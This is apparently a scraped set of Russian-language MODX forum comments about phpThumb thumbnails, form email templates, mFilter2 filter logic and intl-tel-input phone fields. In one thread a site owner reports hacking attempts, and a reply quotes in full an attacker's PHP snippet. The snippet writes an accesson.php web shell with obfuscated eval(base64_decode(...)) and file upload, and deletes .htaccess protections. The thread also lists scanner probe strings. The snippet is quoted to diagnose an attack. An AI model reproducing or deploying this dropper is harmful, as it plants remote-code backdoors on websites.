Большое спасибо, нужно было прописать до обработки $dst

и в src и в dst что-то типа (только не помню MODX_BASE_PATH слеш содержит уже или нет).

$src = MODX_BASE_PATH . '/assets/images/image.jpg';
$dst = MODX_BASE_PATH . '/assets/images/image-new.jpg';

Спасибо! Я попробовал этот код, к сожалению, как есть он не сработал )
в $src нужно передавать относительный путь картинки или абсолютный?
результат попадает в $dst?

как-то так:

// подключаем phpthumb
require_once MODX_CORE_PATH.'model/phpthumb/phpthumb.class.php';
// создаем объект phpThumb
$phpThumb = new phpThumb();
// задаем имя файла
$phpThumb->setSourceFilename($src);
// параметры
$phpThumb->setParameter('w', 100);
$phpThumb->setParameter('h', 150);
// генерируем файл
if ($phpThumb->GenerateThumbnail()){
  if ($phpThumb->RenderToFile($dst)) {
    // превью сохранено!
  }
}

Почему-то берет во внимания &emailSubject=`Обратный звонок` но игнорирует &emailTpl=`TplEmailcallbackform`. Я исправил validate=`phoneform: required` добавил к нему & возможно из-за этого как-то некорректно работало.

большой вопрос — почему в почту попадает вот это а не содержимое чанка письма…

Это всё попытки взлома. Скорее всего бомбят action.php. Вариант защиты использовать токен. Можешь попробовать использовать SendIt.

Я посмотрел вроде он также пытался создать пользователя но у него не получилось. Sql-иньекцию пытались сделать только 1 раз 11 марта судя по почте. С этим всё понятно а что значат остальные сообщения. Которые приходят уже почти неделю с разным временем и количеством каждый день. Такие вот 3 сообщения

debug: true

0x:androxgh0st

config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:

Хорошо бы отловить запросы на сервер и данные в них, которые приводят к такому поведению.

А так да, прям попыточка взломать всё.

К примеру видны попытки вытащить таблицу пользователей, попытки создания сниппетов, типа такого

$s = $_SERVER['DOCUMENT_ROOT'].'/assets/';$s1 = $s.'images/';mkdir($s1,511);$fh = fopen($s1.'accesson.php', 'w');fwrite($fh, '<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>');fclose($fh);unlink($s.'.htaccess');unlink($s1.'.htaccess');

беглый поиск по «accesson.php» показывает, что так ломали сайты на modx еще с версии 2,6,4, когда были уязвимости найдены…

Касательно второй строчки здесь

2. Цвет
— Красный
— Синий, Красный
— Синий

стоит посмотреть на параметр values_delimeter сниппета mFilter2. В нем по умолчанию запятая, и такая же запятая стоит в значении опции. Я в этом параметре обычно указываю точку с запятой.

SQL-инъекции начали приходить недавно. А до этого приходило следующее.

12:50
config_prefer_imagemagick: 0
src: http
f: php
action: web/phpthumb
useRawIMoutput: 1
IMresizedData:

Больше похоже на попытку SQL-инъекции.

То, что Вы описываете присуще типу опции множественный список. В моем случае список с авто дополнением. Из примера выше, получим 2 блока с чекбоксами:
1. Размер
— XL
2. Цвет
— Красный
— Синий, Красный
— Синий
И при выборе «Синий, Красный» будет показана оба товара, т.к. сработало условие по принципу ИЛИ
Как мне кажется, так не должно быть.

Все правильно работает.
Допустим 2 товара:
1. Размер — XL, Цвет — Синий, Красный.
1. Размер — XL, Цвет — Синий.

Ты ставишь в фильтре размер XL — видим оба товара, т.к. они есть размера XL.
Добавляем галочку Синий — видим оба товара, т.к. они есть размера XL и синего цвета.
Ставим галочку Красный — видим оба товара, т.к. по логике компонента мы хотим увидеть товары, которые размера XL, а цвет нас интересует и синий и красный, т.е. любой из них (синий ИЛИ красный).

Если нужно в 3м случае видеть только товар 1 — то придется дописывать свою логику, mFilter2 так не может.
Но! тогда представь, что будет, если у тебя есть еще Товар 3 размера L. В этом случае, ты выбираешь себе джинсы, но знаешь, что на тебе хорошо сидит то L, то XL, смотря от бренда. Ставишь обе галочки — и что? Товаров будет 0, вряд ли ты этого ждал.

Спасибо за ответ. Я и сам уверен, что так и должно быть, но… факт.
Буду искать, что у меня не так. Теперь я, хоть понимаю куда искать)

Попробуй поиграть с приоритетами плагинов

Не знаю расстроишься ты или обрадуешься, но «из коробки» mFilter2 фильтрует по условию И. Если у тебя не так то, либо кто-то написал свой класс фильтрации, либо что-то у тебя не правильно настроено.

Привет! Ну как-то сказать, чтобы intl-tel-input записывал номер телефона в скрытое поле user_contacts. Родное поле (которое в стандартной форме easyComm есть) убрать конечно же, чтобы не дублировалось.
Не забыть указать поле user_contacts в параметре allowedFields сниппета ecForm.

Эх, было бы классно пересечься спустя 8 (?!) лет после Минска…
Но боюсь, это несколько сложнее, чем поездка в Белорусь(

Приветствую, столкнулся с такой задачей. Нужно сохранять номер телефона с кодом страны, сайт мультиязычный. Код стран реализован через intl-tel-input.
Не могу понять как мне реализовать это через ключ {user_contacts}

При отправке формы intl-tel-input записывает номер телефона в скрытое поле

<input type="hidden" name="full-phone" value="+37251234567">